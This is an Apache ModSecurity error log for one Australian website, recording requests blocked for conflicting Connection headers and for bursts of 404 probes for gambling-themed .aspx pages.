[Tue Mar 03 05:14:12.496012 2026] [:error] [pid 26186:tid 26207] [client 106.227.49.113:37322] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaX9pPbZCNtk8wDak9dv_QAAAVM"]
[Tue Mar 03 05:58:00.772546 2026] [:error] [pid 26186:tid 26188] [client 178.151.245.162:45318] [client 178.151.245.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaYH6PbZCNtk8wDak9eQzAAAAUA"]
[Tue Mar 03 05:58:03.551155 2026] [:error] [pid 36784:tid 36839] [client 178.151.245.162:50004] [client 178.151.245.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaYH63NeKOSGbW9kDgTNIwAAAFA"]
[Tue Mar 03 05:58:06.402785 2026] [:error] [pid 36897:tid 36905] [client 178.151.245.162:50006] [client 178.151.245.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaYH7iZC69_8eM0Uouva1wAAAMM"]
[Tue Mar 03 09:48:41.900726 2026] [:error] [pid 36783:tid 36805] [client 43.157.22.109:36380] [client 43.157.22.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaY9-T4tNYh5NtLaTXceYAAAAAs"]
[Tue Mar 03 10:50:37.965639 2026] [:error] [pid 14042:tid 14052] [client 49.51.178.45:50448] [client 49.51.178.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaZMfWeHGCmSEiIBcK6-NAAAAYg"]
[Tue Mar 03 11:13:48.156814 2026] [:error] [pid 14042:tid 14064] [client 182.44.67.97:41196] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaZR7GeHGCmSEiIBcK7QnQAAAZQ"]
[Tue Mar 03 14:29:31.185928 2026] [:error] [pid 36785:tid 36852] [client 37.187.226.30:41056] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaZ_y3hJejauENG9qTgJ8QAAAII"]
[Tue Mar 03 14:29:33.968103 2026] [:error] [pid 36784:tid 36845] [client 37.187.226.30:40964] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaZ_zXNeKOSGbW9kDgRTTwAAAFY"]
[Tue Mar 03 14:29:36.365673 2026] [:error] [pid 36897:tid 36924] [client 37.187.226.30:40978] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaZ_0CZC69_8eM0UouuhoQAAANY"]
[Tue Mar 03 14:29:39.105861 2026] [:error] [pid 36785:tid 36853] [client 37.187.226.30:52490] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaZ_03hJejauENG9qTgKCwAAAIM"]
[Tue Mar 03 14:29:41.588332 2026] [:error] [pid 36785:tid 36857] [client 37.187.226.30:52502] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaZ_1XhJejauENG9qTgKGwAAAIc"]
[Tue Mar 03 14:29:44.430185 2026] [:error] [pid 36784:tid 36844] [client 37.187.226.30:52510] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaZ_2HNeKOSGbW9kDgRTXAAAAFU"]
[Tue Mar 03 15:11:55.825500 2026] [:error] [pid 36897:tid 36918] [client 54.37.252.152:50956] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aaaJuyZC69_8eM0Uouu3WQAAANA"]
[Tue Mar 03 15:11:58.193337 2026] [:error] [pid 36785:tid 36853] [client 54.37.252.152:42120] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aaaJvnhJejauENG9qTgn-gAAAIM"]
[Tue Mar 03 15:12:00.579879 2026] [:error] [pid 36897:tid 36910] [client 54.37.252.152:42136] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aaaJwCZC69_8eM0Uouu3XQAAAMg"]
[Tue Mar 03 15:12:03.014750 2026] [:error] [pid 36783:tid 36800] [client 54.37.252.152:50310] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aaaJwz4tNYh5NtLaTXdrkwAAAAY"]
[Tue Mar 03 15:12:05.508195 2026] [:error] [pid 36784:tid 36836] [client 54.37.252.152:50322] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaaJxXNeKOSGbW9kDgRi7QAAAE0"]
[Tue Mar 03 15:12:07.964001 2026] [:error] [pid 36897:tid 36917] [client 54.37.252.152:50328] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaaJxyZC69_8eM0Uouu3bwAAAM8"]
[Tue Mar 03 15:12:10.525669 2026] [:error] [pid 36897:tid 36923] [client 54.37.252.152:50338] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaaJyiZC69_8eM0Uouu3gAAAANU"]
[Tue Mar 03 15:12:12.941083 2026] [:error] [pid 36785:tid 36855] [client 54.37.252.152:55160] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaaJzHhJejauENG9qTgoGAAAAIU"]
[Tue Mar 03 15:12:15.544772 2026] [:error] [pid 36785:tid 36869] [client 54.37.252.152:55170] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaaJz3hJejauENG9qTgoJgAAAJM"]
[Tue Mar 03 15:12:18.068246 2026] [:error] [pid 36897:tid 36924] [client 54.37.252.152:55172] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaaJ0iZC69_8eM0Uouu3kAAAANY"]
[Tue Mar 03 15:12:20.730148 2026] [:error] [pid 36785:tid 36870] [client 54.37.252.152:55174] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaaJ1HhJejauENG9qTgoOQAAAJQ"]
[Tue Mar 03 15:12:23.205358 2026] [:error] [pid 36783:tid 36818] [client 54.37.252.152:56742] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaaJ1z4tNYh5NtLaTXdrnAAAABg"]
[Tue Mar 03 15:12:25.572970 2026] [:error] [pid 36784:tid 36841] [client 54.37.252.152:56746] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aaaJ2XNeKOSGbW9kDgRi_QAAAFI"]
[Tue Mar 03 15:12:28.077217 2026] [:error] [pid 36785:tid 36854] [client 54.37.252.152:56758] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaaJ3HhJejauENG9qTgoSwAAAIQ"]
[Tue Mar 03 15:12:30.548169 2026] [:error] [pid 36784:tid 36846] [client 54.37.252.152:56762] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaaJ3nNeKOSGbW9kDgRjAgAAAFc"]
[Tue Mar 03 15:12:33.191173 2026] [:error] [pid 36783:tid 36794] [client 54.37.252.152:52146] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaaJ4T4tNYh5NtLaTXdrqgAAAAA"]
[Tue Mar 03 15:12:35.852379 2026] [:error] [pid 36897:tid 36926] [client 54.37.252.152:52160] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaaJ4yZC69_8eM0Uouu3qQAAANg"]
[Tue Mar 03 15:12:38.296514 2026] [:error] [pid 36785:tid 36871] [client 54.37.252.152:52170] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aaaJ5nhJejauENG9qTgoVwAAAJU"]
[Tue Mar 03 15:12:40.793279 2026] [:error] [pid 36785:tid 36861] [client 54.37.252.152:52186] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaaJ6HhJejauENG9qTgoYgAAAIs"]
[Tue Mar 03 15:12:43.431686 2026] [:error] [pid 36785:tid 36858] [client 54.37.252.152:38130] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaaJ63hJejauENG9qTgobgAAAIg"]
[Tue Mar 03 15:12:45.869446 2026] [:error] [pid 20872:tid 20881] [client 54.37.252.152:38132] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaaJ7YlYbNk3E_3CgBgWPwAAAQc"]
[Tue Mar 03 15:12:48.668664 2026] [:error] [pid 36783:tid 36809] [client 54.37.252.152:38144] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaaJ8D4tNYh5NtLaTXdrtAAAAA8"]
[Tue Mar 03 15:12:51.204956 2026] [:error] [pid 36785:tid 36868] [client 54.37.252.152:38148] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaaJ83hJejauENG9qTgohgAAAJI"]
[Tue Mar 03 15:12:53.876935 2026] [:error] [pid 36785:tid 36870] [client 54.37.252.152:57060] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aaaJ9XhJejauENG9qTgoiQAAAJQ"]
[Tue Mar 03 15:13:15.873847 2026] [:error] [pid 36897:tid 36913] [client 54.37.252.152:57076] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaaKCyZC69_8eM0Uouu39gAAAMs"]
[Tue Mar 03 15:13:18.599633 2026] [:error] [pid 36785:tid 36864] [client 54.37.252.152:48914] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaaKDnhJejauENG9qTgovgAAAI4"]
[Tue Mar 03 15:13:21.235005 2026] [:error] [pid 36783:tid 36808] [client 54.37.252.152:48928] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaaKET4tNYh5NtLaTXdrxQAAAA4"]
[Tue Mar 03 15:13:23.901545 2026] [:error] [pid 36785:tid 36851] [client 54.37.252.152:35706] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaaKE3hJejauENG9qTgozQAAAIE"]
[Tue Mar 03 15:13:26.309159 2026] [:error] [pid 14042:tid 14052] [client 54.37.252.152:35714] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaaKFmeHGCmSEiIBcK40GwAAAYg"]
[Tue Mar 03 15:13:28.903656 2026] [:error] [pid 20872:tid 20886] [client 54.37.252.152:35728] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aaaKGIlYbNk3E_3CgBgWSwAAAQw"]
[Tue Mar 03 15:13:31.332715 2026] [:error] [pid 36785:tid 36852] [client 54.37.252.152:35744] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaaKG3hJejauENG9qTgo4AAAAII"]
[Tue Mar 03 15:13:33.805821 2026] [:error] [pid 36784:tid 36827] [client 54.37.252.152:41252] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaaKHXNeKOSGbW9kDgRjRAAAAEQ"]
[Tue Mar 03 15:13:36.299972 2026] [:error] [pid 36785:tid 36854] [client 54.37.252.152:41254] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaaKIHhJejauENG9qTgo8QAAAIQ"]
[Tue Mar 03 15:13:38.905713 2026] [:error] [pid 36785:tid 36851] [client 54.37.252.152:41266] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaaKInhJejauENG9qTgo_gAAAIE"]
[Tue Mar 03 15:13:41.422481 2026] [:error] [pid 36785:tid 36853] [client 54.37.252.152:41282] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaaKJXhJejauENG9qTgpCQAAAIM"]
[Tue Mar 03 15:13:43.979188 2026] [:error] [pid 36785:tid 36870] [client 54.37.252.152:42078] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaaKJ3hJejauENG9qTgpEQAAAJQ"]
[Tue Mar 03 15:13:46.538042 2026] [:error] [pid 36897:tid 36902] [client 54.37.252.152:42084] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaaKKiZC69_8eM0Uouu4EAAAAMA"]
[Tue Mar 03 15:13:49.095799 2026] [:error] [pid 36785:tid 36855] [client 54.37.252.152:42090] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaaKLXhJejauENG9qTgpOgAAAIU"]
[Tue Mar 03 15:13:51.510958 2026] [:error] [pid 36785:tid 36868] [client 54.37.252.152:42096] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaaKL3hJejauENG9qTgpUwAAAJI"]
[Tue Mar 03 15:13:54.082043 2026] [:error] [pid 36783:tid 36803] [client 54.37.252.152:45724] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaaKMj4tNYh5NtLaTXdr0QAAAAk"]
